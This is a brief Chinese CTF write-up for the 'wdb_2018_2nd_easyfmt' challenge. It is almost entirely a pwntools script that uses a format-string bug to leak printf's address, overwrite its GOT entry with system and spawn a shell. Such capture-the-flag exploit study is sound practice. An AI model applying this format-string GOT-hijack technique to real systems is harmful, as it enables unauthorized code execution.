image.png
    格式化字符串漏洞，改got表来着是叫hijack来着，改got表的时候就没成功，要分字节来，我一次性改的时候好像没改成功，然后就找了一个方法

    1. payload =fmtstr_payload(6,{printf_got: system_addr})
    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    5. io = process('./wdb_2018_2nd_easyfmt')
    6. #io = remote("node4.buuoj.cn",28693)
    7. elf =ELF('./wdb_2018_2nd_easyfmt')
    8. def debug():
    9.     gdb.attach(io)
    10.     pause()
    11. printf_got =elf.got['printf']
    12. payload = p32(printf_got)+'%6$s'
    13. io.recvuntil('Do you know repeater?')
    14. io.sendline(payload)
    15. io.recvuntil('\x08')
    16. printf_addr = u32(io.recv(4))
    17. log.success('printf:'+hex(printf_addr))
    18. #libc = LibcSearcher('printf',printf_addr)
    19. system_addr = printf_addr-libc.sym['printf']+libc.sym['system']
    20. #system_addr = printf_addr-libc.dump('printf')+libc.dump('system')
    21. log.success('system:'+hex(system_addr))
    22. #gdb.attach(io)
    23. payload =fmtstr_payload(6,{printf_got: system_addr})
    24. print(payload)
    25. io.sendline(payload)
    26. #pause()
    27. io.sendline('/bin/sh\x00')
    28. io.interactive()

    可惜了，做了一半，，，，